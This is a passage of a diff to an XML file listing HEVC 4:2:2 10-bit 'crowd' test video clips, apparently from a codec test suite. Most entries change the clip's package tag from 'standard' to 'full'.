+    <value>mime=video/hevc,size=65403,width=576,height=720,frame-rate=50,profile=,level=,bitrate=800968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_600x800p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=71923,width=600,height=800,frame-rate=50,profile=,level=,bitrate=882472,package=standard</value>
+    <value>mime=video/hevc,size=71923,width=600,height=800,frame-rate=50,profile=,level=,bitrate=882472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_636x358p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35774,width=636,height=358,frame-rate=50,profile=,level=,bitrate=430608,package=standard</value>
+    <value>mime=video/hevc,size=35774,width=636,height=358,frame-rate=50,profile=,level=,bitrate=430608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_636x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35740,width=636,height=360,frame-rate=50,profile=,level=,bitrate=430168,package=standard</value>
+    <value>mime=video/hevc,size=35740,width=636,height=360,frame-rate=50,profile=,level=,bitrate=430168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_638x356p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35338,width=638,height=356,frame-rate=50,profile=,level=,bitrate=425144,package=standard</value>
+    <value>mime=video/hevc,size=35338,width=638,height=356,frame-rate=50,profile=,level=,bitrate=425144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_638x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35213,width=638,height=360,frame-rate=50,profile=,level=,bitrate=423584,package=standard</value>
+    <value>mime=video/hevc,size=35213,width=638,height=360,frame-rate=50,profile=,level=,bitrate=423584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_640x356p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35325,width=640,height=356,frame-rate=50,profile=,level=,bitrate=425000,package=standard</value>
+    <value>mime=video/hevc,size=35325,width=640,height=356,frame-rate=50,profile=,level=,bitrate=425000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_640x358p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35207,width=640,height=358,frame-rate=50,profile=,level=,bitrate=423512,package=standard</value>
+    <value>mime=video/hevc,size=35207,width=640,height=358,frame-rate=50,profile=,level=,bitrate=423512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_640x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35175,width=640,height=360,frame-rate=50,profile=,level=,bitrate=423136,package=standard</value>
+    <value>mime=video/hevc,size=35175,width=640,height=360,frame-rate=50,profile=,level=,bitrate=423136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_640x480p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=49891,width=640,height=480,frame-rate=50,profile=,level=,bitrate=607080,package=standard</value>
+    <value>mime=video/hevc,size=49891,width=640,height=480,frame-rate=50,profile=,level=,bitrate=607080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_640x640p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65169,width=640,height=640,frame-rate=50,profile=,level=,bitrate=798048,package=standard</value>
+    <value>mime=video/hevc,size=65169,width=640,height=640,frame-rate=50,profile=,level=,bitrate=798048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_640x848p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=79418,width=640,height=848,frame-rate=50,profile=,level=,bitrate=976456,package=standard</value>
+    <value>mime=video/hevc,size=79418,width=640,height=848,frame-rate=50,profile=,level=,bitrate=976456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_640x960p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=95247,width=640,height=960,frame-rate=50,profile=,level=,bitrate=1174120,package=standard</value>
+    <value>mime=video/hevc,size=95247,width=640,height=960,frame-rate=50,profile=,level=,bitrate=1174120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_64x1080p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17404,width=64,height=1080,frame-rate=50,profile=,level=,bitrate=201080,package=standard</value>
+    <value>mime=video/hevc,size=17404,width=64,height=1080,frame-rate=50,profile=,level=,bitrate=201080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_64x1280p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17394,width=64,height=1280,frame-rate=50,profile=,level=,bitrate=201056,package=standard</value>
+    <value>mime=video/hevc,size=17394,width=64,height=1280,frame-rate=50,profile=,level=,bitrate=201056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_64x1920p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17431,width=64,height=1920,frame-rate=50,profile=,level=,bitrate=201624,package=standard</value>
+    <value>mime=video/hevc,size=17431,width=64,height=1920,frame-rate=50,profile=,level=,bitrate=201624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_64x48p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=23443,width=64,height=48,frame-rate=25,profile=,level=,bitrate=138064,package=standard</value>
+    <value>mime=video/hevc,size=23443,width=64,height=48,frame-rate=25,profile=,level=,bitrate=138064,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_64x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14820,width=64,height=64,frame-rate=50,profile=,level=,bitrate=169496,package=standard</value>
+    <value>mime=video/hevc,size=14820,width=64,height=64,frame-rate=50,profile=,level=,bitrate=169496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_64x720p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16749,width=64,height=720,frame-rate=50,profile=,level=,bitrate=192912,package=standard</value>
+    <value>mime=video/hevc,size=16749,width=64,height=720,frame-rate=50,profile=,level=,bitrate=192912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_64x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15395,width=64,height=96,frame-rate=50,profile=,level=,bitrate=176184,package=standard</value>
+    <value>mime=video/hevc,size=15395,width=64,height=96,frame-rate=50,profile=,level=,bitrate=176184,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_704x528p50f32_700kbps.mp4">
-    <value>mime=video/hevc,size=57852,width=704,height=528,frame-rate=50,profile=,level=,bitrate=706584,package=standard</value>
+    <value>mime=video/hevc,size=57852,width=704,height=528,frame-rate=50,profile=,level=,bitrate=706584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_704x576p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65098,width=704,height=576,frame-rate=50,profile=,level=,bitrate=797160,package=standard</value>
+    <value>mime=video/hevc,size=65098,width=704,height=576,frame-rate=50,profile=,level=,bitrate=797160,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_704x704p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=73589,width=704,height=704,frame-rate=50,profile=,level=,bitrate=903296,package=standard</value>
+    <value>mime=video/hevc,size=73589,width=704,height=704,frame-rate=50,profile=,level=,bitrate=903296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_720x1280p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=139556,width=720,height=1280,frame-rate=50,profile=,level=,bitrate=1727880,package=standard</value>
+    <value>mime=video/hevc,size=139556,width=720,height=1280,frame-rate=50,profile=,level=,bitrate=1727880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_720x16p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=21718,width=720,height=16,frame-rate=25,profile=,level=,bitrate=127280,package=standard</value>
+    <value>mime=video/hevc,size=21718,width=720,height=16,frame-rate=25,profile=,level=,bitrate=127280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_720x480p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=50681,width=720,height=480,frame-rate=50,profile=,level=,bitrate=616960,package=standard</value>
+    <value>mime=video/hevc,size=50681,width=720,height=480,frame-rate=50,profile=,level=,bitrate=616960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_720x576p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=65398,width=720,height=576,frame-rate=50,profile=,level=,bitrate=800912,package=standard</value>
+    <value>mime=video/hevc,size=65398,width=720,height=576,frame-rate=50,profile=,level=,bitrate=800912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_720x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17303,width=720,height=64,frame-rate=50,profile=,level=,bitrate=199736,package=standard</value>
+    <value>mime=video/hevc,size=17303,width=720,height=64,frame-rate=50,profile=,level=,bitrate=199736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_720x720p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=80754,width=720,height=720,frame-rate=50,profile=,level=,bitrate=992856,package=standard</value>
+    <value>mime=video/hevc,size=80754,width=720,height=720,frame-rate=50,profile=,level=,bitrate=992856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_720x960p50f32_1300kbps.mp4">
-    <value>mime=video/hevc,size=103005,width=720,height=960,frame-rate=50,profile=,level=,bitrate=1271000,package=standard</value>
+    <value>mime=video/hevc,size=103005,width=720,height=960,frame-rate=50,profile=,level=,bitrate=1271000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_72x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15212,width=72,height=128,frame-rate=50,profile=,level=,bitrate=173712,package=standard</value>
+    <value>mime=video/hevc,size=15212,width=72,height=128,frame-rate=50,profile=,level=,bitrate=173712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_72x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15263,width=72,height=96,frame-rate=50,profile=,level=,bitrate=174536,package=standard</value>
+    <value>mime=video/hevc,size=15263,width=72,height=96,frame-rate=50,profile=,level=,bitrate=174536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_7680x4320p50f32_24000kbps.mp4">
     <value>mime=video/hevc,size=1919840,width=7680,height=4320,frame-rate=50,profile=,level=,bitrate=23981712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_768x1024p50f32_1500kbps.mp4">
-    <value>mime=video/hevc,size=118800,width=768,height=1024,frame-rate=50,profile=,level=,bitrate=1468536,package=standard</value>
+    <value>mime=video/hevc,size=118800,width=768,height=1024,frame-rate=50,profile=,level=,bitrate=1468536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_800x600p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=73354,width=800,height=600,frame-rate=50,profile=,level=,bitrate=900360,package=standard</value>
+    <value>mime=video/hevc,size=73354,width=800,height=600,frame-rate=50,profile=,level=,bitrate=900360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_800x800p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=95444,width=800,height=800,frame-rate=50,profile=,level=,bitrate=1176480,package=standard</value>
+    <value>mime=video/hevc,size=95444,width=800,height=800,frame-rate=50,profile=,level=,bitrate=1176480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_848x480p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64994,width=848,height=480,frame-rate=50,profile=,level=,bitrate=795872,package=standard</value>
+    <value>mime=video/hevc,size=64994,width=848,height=480,frame-rate=50,profile=,level=,bitrate=795872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_848x640p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=81297,width=848,height=640,frame-rate=50,profile=,level=,bitrate=999648,package=standard</value>
+    <value>mime=video/hevc,size=81297,width=848,height=640,frame-rate=50,profile=,level=,bitrate=999648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_848x848p50f32_1400kbps.mp4">
-    <value>mime=video/hevc,size=109884,width=848,height=848,frame-rate=50,profile=,level=,bitrate=1356984,package=standard</value>
+    <value>mime=video/hevc,size=109884,width=848,height=848,frame-rate=50,profile=,level=,bitrate=1356984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_8x8p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=2814,width=8,height=8,frame-rate=25,profile=,level=,bitrate=9136,package=standard</value>
+    <value>mime=video/hevc,size=2814,width=8,height=8,frame-rate=25,profile=,level=,bitrate=9136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_960x1280p50f32_2400kbps.mp4">
-    <value>mime=video/hevc,size=181263,width=960,height=1280,frame-rate=50,profile=,level=,bitrate=2249224,package=standard</value>
+    <value>mime=video/hevc,size=181263,width=960,height=1280,frame-rate=50,profile=,level=,bitrate=2249224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_960x1440p50f32_2700kbps.mp4">
-    <value>mime=video/hevc,size=196848,width=960,height=1440,frame-rate=50,profile=,level=,bitrate=2444336,package=standard</value>
+    <value>mime=video/hevc,size=196848,width=960,height=1440,frame-rate=50,profile=,level=,bitrate=2444336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_960x640p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=95459,width=960,height=640,frame-rate=50,profile=,level=,bitrate=1176672,package=standard</value>
+    <value>mime=video/hevc,size=95459,width=960,height=640,frame-rate=50,profile=,level=,bitrate=1176672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_960x720p50f32_1300kbps.mp4">
-    <value>mime=video/hevc,size=104116,width=960,height=720,frame-rate=50,profile=,level=,bitrate=1284880,package=standard</value>
+    <value>mime=video/hevc,size=104116,width=960,height=720,frame-rate=50,profile=,level=,bitrate=1284880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_960x960p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=140691,width=960,height=960,frame-rate=50,profile=,level=,bitrate=1742072,package=standard</value>
+    <value>mime=video/hevc,size=140691,width=960,height=960,frame-rate=50,profile=,level=,bitrate=1742072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_96x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15330,width=96,height=128,frame-rate=50,profile=,level=,bitrate=175184,package=standard</value>
+    <value>mime=video/hevc,size=15330,width=96,height=128,frame-rate=50,profile=,level=,bitrate=175184,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_96x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15497,width=96,height=144,frame-rate=50,profile=,level=,bitrate=177272,package=standard</value>
+    <value>mime=video/hevc,size=15497,width=96,height=144,frame-rate=50,profile=,level=,bitrate=177272,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_96x176p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16215,width=96,height=176,frame-rate=50,profile=,level=,bitrate=186144,package=standard</value>
+    <value>mime=video/hevc,size=16215,width=96,height=176,frame-rate=50,profile=,level=,bitrate=186144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_96x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14691,width=96,height=64,frame-rate=50,profile=,level=,bitrate=168784,package=standard</value>
+    <value>mime=video/hevc,size=14691,width=96,height=64,frame-rate=50,profile=,level=,bitrate=168784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_96x72p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14240,width=96,height=72,frame-rate=50,profile=,level=,bitrate=161448,package=standard</value>
+    <value>mime=video/hevc,size=14240,width=96,height=72,frame-rate=50,profile=,level=,bitrate=161448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_96x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15546,width=96,height=96,frame-rate=50,profile=,level=,bitrate=178072,package=standard</value>
+    <value>mime=video/hevc,size=15546,width=96,height=96,frame-rate=50,profile=,level=,bitrate=178072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=326036,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4058880,package=standard</value>
+    <value>mime=video/hevc,size=326036,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4058880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=328889,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4094544,package=standard</value>
+    <value>mime=video/hevc,size=328889,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4094544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=328924,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4094544,package=standard</value>
+    <value>mime=video/hevc,size=328924,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4094544,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_flat_1.mp4">
     <value>mime=video/hevc,size=914466,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11413784,package=full</value>
@@ -16206,13 +16206,13 @@
     <value>mime=video/hevc,size=433132,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5387824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=248826,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3083368,package=standard</value>
+    <value>mime=video/hevc,size=248826,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3083368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=291619,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3607120,package=standard</value>
+    <value>mime=video/hevc,size=291619,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3607120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=230402,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2853280,package=standard</value>
+    <value>mime=video/hevc,size=230402,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2853280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_vert_1_255.mp4">
     <value>mime=video/hevc,size=579805,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7226048,package=full</value>
@@ -16272,58 +16272,58 @@
     <value>mime=video/hevc,size=3780188,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=47231120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=73944,width=640,height=360,frame-rate=50,profile=,level=,bitrate=907744,package=standard</value>
+    <value>mime=video/hevc,size=73944,width=640,height=360,frame-rate=50,profile=,level=,bitrate=907744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=74245,width=640,height=360,frame-rate=50,profile=,level=,bitrate=911512,package=standard</value>
+    <value>mime=video/hevc,size=74245,width=640,height=360,frame-rate=50,profile=,level=,bitrate=911512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=74281,width=640,height=360,frame-rate=50,profile=,level=,bitrate=911512,package=standard</value>
+    <value>mime=video/hevc,size=74281,width=640,height=360,frame-rate=50,profile=,level=,bitrate=911512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_flat_1.mp4">
-    <value>mime=video/hevc,size=183171,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2272608,package=standard</value>
+    <value>mime=video/hevc,size=183171,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2272608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_1_16.mp4">
-    <value>mime=video/hevc,size=83831,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1021568,package=standard</value>
+    <value>mime=video/hevc,size=83831,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1021568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=59702,width=640,height=360,frame-rate=50,profile=,level=,bitrate=719336,package=standard</value>
+    <value>mime=video/hevc,size=59702,width=640,height=360,frame-rate=50,profile=,level=,bitrate=719336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=69432,width=640,height=360,frame-rate=50,profile=,level=,bitrate=829784,package=standard</value>
+    <value>mime=video/hevc,size=69432,width=640,height=360,frame-rate=50,profile=,level=,bitrate=829784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=54238,width=640,height=360,frame-rate=50,profile=,level=,bitrate=651248,package=standard</value>
+    <value>mime=video/hevc,size=54238,width=640,height=360,frame-rate=50,profile=,level=,bitrate=651248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_vert_1_255.mp4">
-    <value>mime=video/hevc,size=116387,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1433320,package=standard</value>
+    <value>mime=video/hevc,size=116387,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1433320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=152808,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1893536,package=standard</value>
+    <value>mime=video/hevc,size=152808,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1893536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=154922,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1919944,package=standard</value>
+    <value>mime=video/hevc,size=154922,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1919944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=154956,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1919944,package=standard</value>
+    <value>mime=video/hevc,size=154956,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1919944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_flat_1.mp4">
-    <value>mime=video/hevc,size=374053,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4658624,package=standard</value>
+    <value>mime=video/hevc,size=374053,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4658624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_1_16.mp4">
-    <value>mime=video/hevc,size=183250,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2264296,package=standard</value>
+    <value>mime=video/hevc,size=183250,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2264296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=118481,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1454056,package=standard</value>
+    <value>mime=video/hevc,size=118481,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1454056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=142237,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1739848,package=standard</value>
+    <value>mime=video/hevc,size=142237,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1739848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=107891,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1321896,package=standard</value>
+    <value>mime=video/hevc,size=107891,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1321896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_vert_1_255.mp4">
-    <value>mime=video/hevc,size=238170,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2955608,package=standard</value>
+    <value>mime=video/hevc,size=238170,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2955608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1280x720p50f32/crowd_1280x720p50f32_128byte_depslices_16CTBs_slice.mp4">
     <value>mime=video/hevc,size=1713236,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=10699120,package=full</value>
@@ -16404,10 +16404,10 @@
     <value>mime=video/hevc,size=495047,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=3085424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1024byte_slices.mp4">
-    <value>mime=video/hevc,size=3098,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10760,package=standard</value>
+    <value>mime=video/hevc,size=3098,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_128byte_depslices_16CTBs_slice.mp4">
-    <value>mime=video/hevc,size=21780,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=127520,package=standard</value>
+    <value>mime=video/hevc,size=21780,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=127520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_16ctbs_perdpslice_24ctbs_perslice_wpp.mp4">
     <value>mime=video/hevc,size=3583869,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=22390576,package=full</value>
@@ -16425,34 +16425,34 @@
     <value>mime=video/hevc,size=2542248,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=15880440,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1tile_perrow.mp4">
-    <value>mime=video/hevc,size=6619,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=32760,package=standard</value>
+    <value>mime=video/hevc,size=6619,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=32760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2048byte_slices.mp4">
-    <value>mime=video/hevc,size=3098,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10760,package=standard</value>
+    <value>mime=video/hevc,size=3098,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_256byte_dpslices_1024bytes_slice.mp4">
-    <value>mime=video/hevc,size=3108,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10824,package=standard</value>
+    <value>mime=video/hevc,size=3108,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=10824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_256byte_dpslices_1024bytes_slice_wpp.mp4">
     <value>mime=video/hevc,size=647927,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=4040936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/slices_tiles/crowd_1920x1080p50f32/crowd_1920x1080p50f32_256byte_slices.mp4">
-    <value>mime=video/hevc,size=3137,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=11000,package=standard</value>
+    <value>mime=video/hevc,size=3137,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=11000,package=full</value>
